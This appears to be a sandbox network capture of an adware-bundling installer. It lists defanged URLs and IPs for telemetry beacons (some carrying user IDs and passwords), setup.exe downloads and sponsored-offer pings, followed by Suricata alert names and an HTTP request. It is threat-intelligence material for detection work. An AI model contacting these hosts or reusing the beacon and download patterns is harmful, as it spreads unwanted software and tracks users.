hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1424743354	54.231.0.156
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ w5ete8oeBwFnBYDrckOrBDYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4=	54.230.202.140
hxxp://www.appshat.com/thumbnails/banner/images/assets/0/d/0d2eb87d6982e1321cd3e3735ca5ca4c.jpg	78.138.127.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=A8MIvlEETmb4YOj/qSs/oHlL/fEssKcT1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5b GEwPiedNIqjHjRwH0s7BD4NsK07Wi5s IILilpWF0vmoXMQKU1KqXll49muGHNYT/V7WBAfCq0JUba1DwT6KzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqfPtbgMQry48eeFc/zCry2zVQk8gY3vhjPQ6wHhFi22D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY	54.230.202.140
hxxp://counter.d.addelive.com/blank.gif?t=142907788007&h=d7eae1b4fbd18fff98b3bddeaf9fae0f&emp=1	184.73.212.92
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&0.2112035195602876	78.138.127.15
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1424743349	54.231.0.156
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/JPJmwcGPpPe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vQPza3zhCEzMg==	54.230.202.140
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1424743356	54.231.0.156
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=IF2Owsmtycl&name=ShopperPro	54.88.228.222
hxxp://clients1.google.com/ocsp	173.194.113.192
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1424743355	54.231.0.156
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTtSK3dy3sA4g6EKqm0CfGsMDTPlgQUUOpzidsp+xCPnuUBINTeeZlIg/cCEAJwu3i4ZpYdN6xM1SVvBys=	93.184.220.29
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQJ/TkbZ2czqA0HNFn9uIS7 ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMhgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib1tPZRMWVoGLe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vSGwtB4m15smKau9xWXQx//	54.197.238.106
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1424743358	54.231.0.156
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.37205745997554645	78.138.127.15
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/1/f1ed3cd0cae7a3524376e6f9369c7ab8.png	78.138.127.8
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=M7A8vgjJHrj4MZomVx105VgUZ2tCcksvS9GCi10oLZ5P XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplDwRWvE0PuWdfYWeTugkIGZ XTIrvDDxtA37FbUT3L5jr6dmpd8In99kSHjLnneUtzqkAeJCtlEnQsrZpPdA9jjPCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GjzMz0syfyzMd8ze3LFFF4GTIU2geBn6OPpl76kDGEz8baSkebcaIK z/UIp1kWEsTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2cp9ILLnJI8o5l6kGsLGUjlAO3ZfaMMISYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29Sngt7Zf/x915iFE4945e4	54.197.238.106
hxxp://s7.addthis.com/static/r07/menu174.js	185.31.17.184
hxxp://www.appshat.com/css/style.css	78.138.127.8
hxxp://www.appshat.com/js/jquery.smooth-scroll.min.js	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png	78.138.127.8
hxxp://www.appshat.com/images/bg_main.jpg	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png	78.138.127.8
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js	216.58.209.202
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VDL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g==	54.230.202.140
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEFIA5aolVvwahu2WydRLM8c=	23.52.27.27
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VDLf a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb HrgF912tk0	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb4wlu/UMeSmkf/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J31oG/bAbkDO0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DoltPqJisDtGNlz6m1J48 dQYf4gGF0f39RnCEeqRSyJ7vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9J4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8=	54.230.202.140
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1
hxxp://www.easy-burner.com/css/contact.css	178.33.88.171
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png	78.138.127.8
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US	63.245.217.39
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png	78.138.127.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eFCD8T/coiccIOUsnkwoNd0cltsObsHAKEYqsDiMOl1AXdQqxJ1va0uGoedNVFAuIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHpKb81Sa5kgtoqKD5 RG1khKbjxL3vJrvZSXTHO//VDUbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXcTHJmmjSUu6zZU9mzeGILG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.202.140
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.4503510746297179	78.138.127.15
hxxp://dl.ourinfoonlinestack.com/smt2b/all/hat/row/setup.exe_e	69.16.175.10
hxxp://stats.ourinfoonlinestack.com/installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_26&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&procstarttime=1424743349&procruntime=12&rnd=1424743361	54.231.18.220
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1424743358	54.231.0.156
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=FmLXHIo2UvbdHJbbDm7BwChGKrA4jDpdQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3pzANCq9oE/KbbCGHFbF/MkflftV3tdFWXTPTId5fWMXmJ3qs8BpiR6Sm/NUmuZILaKig fkRtZISm48S97ya72Ul0xzv/1Q1nbJKYwPfuhADJLiVYTsNgBD4NsK07Wi5s IILilpWF0JzvOmbeJDX8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfRNQ4ACwc/17m2whhxWxfzJH5X7Vd7XRVl0z0yHeX1jFbKGbyDZiG8M=	54.230.202.140
hxxp://stats.ourinfoonlinestack.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1424743349&lifetime=0&silent=1&crtnm=CR7Team&procstarttime=1424743349&procruntime=12&rnd=1424743361	54.231.18.220
hxxp://logs.ourinfoonlinestack.com/monetization.gif?event=3&ibic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1424743349&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1424743349	69.16.175.42
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png	78.138.127.8
hxxp://dl.ourinfoonlinestack.com/smt2b/all/hat/row/setup.exe_b	69.16.175.10
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.3911754837452987	78.138.127.15
hxxp://s7.addthis.com/static/r07/widget/css/widget015.top.svg.css	185.31.17.184
hxxp://as.perfcreatives.com/pixel.gif	178.33.88.164
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/8/58d196b3e886a838d021adc8c8848f1e.png	78.138.127.8
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/9ZmISdorEvwl4DCqEaRhOjTgYXDnI1t62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6CtUYVwTD vJv0oIBKdHi0VzXMDHq/fGLl86aIQg3pa3BisHEelWCJ5f HOYncO4wem9RYSXT9Ba DgmTMHWxjt3B54/jA6EY66 BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gureDWQ0PVCPAb88FLMj8pa5Hlxg1yEv0UZLvbZAOELZbv6yiY0E 0oxf/EhfubMm26CHUhiePxePX09N2cJ6TJq7UBiib7xhdjjmLmZHdZuUgm988pbBE198Bbak1i16fYytqnU4k0fribeIhZIOGE97wVhdsCjsSAEPXN q8jqNmOw9/8 JsFyqVmlcrEFGpX3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70QSNoRB gt8ync1CT2WtP sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I 85El9n2 aiLUtvx5Djtr01 wijt4G8u35aCrbjjT16RgOiHkm zH AUq9vGFcnz4PEn7DqvLFbw==	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XHmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.202.140
hxxp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Owsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=78116d2d-d3b5-4062-b3b8-b2539525da70&apptitle=ShopperPro&channel=IF2Owsmtycl	198.232.124.37
hxxp://www.googleadservices.com/pagead/conversion/990060061/?random=1424743400068&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1	173.194.113.218
hxxp://www.appshat.com/thumbnails/icon/images/assets/e/9/e94782c9200f8de809a50327879df1cc.png	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.6758163244468338	78.138.127.15
hxxp://googleads.g.doubleclick.net/pagead/viewthroughconversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0	173.194.113.205
hxxp://downloadcdn.filebulldog.com/affiliates/easyburnerit/easyBurner_logo48.png	54.239.168.129
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&0.7773159911475602	78.138.127.15
hxxp://www.easy-burner.com/css/default.css	178.33.88.171
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=KC46TpkJIZzYLhsRuGeUaZ/TkbZ2czqAOcRGgC5fn 3ZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0na7uLSNjM/3n1AHxkNs3eJBHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOwjWdMx1sxb271VN37FwWpuzjS2DwEV0f4XlC/BpVyNn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpk/46kL52LbTBNQ4ACwc/17m2whhxWxfzJH5X7Vd7XRVl0z0yHeX1jF3hvsW0zelg9UGxkElMpB3fcOY2s95kJe	54.197.238.106
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1424743358	54.231.0.156
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1424743359	54.231.0.156
hxxp://as.perfcreatives.com/eas?cu=5600;ty=pc	178.33.88.164
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=	93.184.220.20
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1424743354	54.231.0.156
hxxp://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1	178.33.88.171
hxxp://www.easy-burner.com/images/logo.png	178.33.88.171
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?b43cffd895636b28	87.245.221.107
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js	216.58.209.202
hxxp://s7.addthis.com/static/r07/sh200.html	185.31.17.184
hxxp://www.appshat.com/images/64x64.ico	78.138.127.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VIxKFhhAIX38mxw368usKjpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY	54.230.202.140
hxxp://www.appshat.com/thumbnails/icon/images/assets/3/6/36d7cd00f07003a67021237993257d08.png	78.138.127.8
hxxp://install.sourceapp.info/mg?alpha=MBJOIngOWHd0Q3NWYQh3MVYdL3gwVExTekB+OGhnQkMPQg8Wa1NQYzBUTywrb3VWdgQwYVQlT1plH3dqIxp0Lw1IRVJtc2AhQzZrVi9y	70.186.131.141
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=G4i9JF3YhSbdHJbbDm7BwGbDYIg4MYvtvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYRB0C69pjpciOmjwKp6fbebjNlp5/QjseDiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdBJSqVUSA/tjw2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3k2/AiuEObX9gfJKZ4NCKSCQ==	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XWdlP5RfIHxwTxIUcsgQ w6K306ymsAKF2fYaHzpAWqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/JPJmwcGPpPe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vQPza3zhCEzMg==	54.230.202.140
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg	78.138.127.8
hxxp://fonts.googleapis.com/css?family=Abel	64.233.164.95
hxxp://www.easy-burner.com/images/pixel.gif	178.33.88.171
hxxp://www.appshat.com/css/main.css	78.138.127.8
hxxp://www.appshat.com/css/lightbox.css	78.138.127.8
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png	78.138.127.8
hxxp://www.appshat.com/images/close.png	78.138.127.8
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTSqZMG5M8TA9rdzkbCnNwuMAd5VgQUz5mp6nsm9EvJjo/X8AUm7+PSp50CEF1tL3zAt8MdpkWloaIHgTk=	23.52.27.27
apis.google.com	173.194.113.198
s-static.ak.facebook.com	23.64.210.110
www.gstatic.com	173.194.113.215
www.youtube.com	173.194.113.194
ssl.gstatic.com	173.194.113.207
www.facebook.com	31.13.93.3
www.mystartsearch.com	69.28.57.26
ieonline.microsoft.com	204.79.197.200
fonts.gstatic.com

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY Executable served from Amazon S3
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)
SURICATA STREAM FIN out of window

Traffic

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

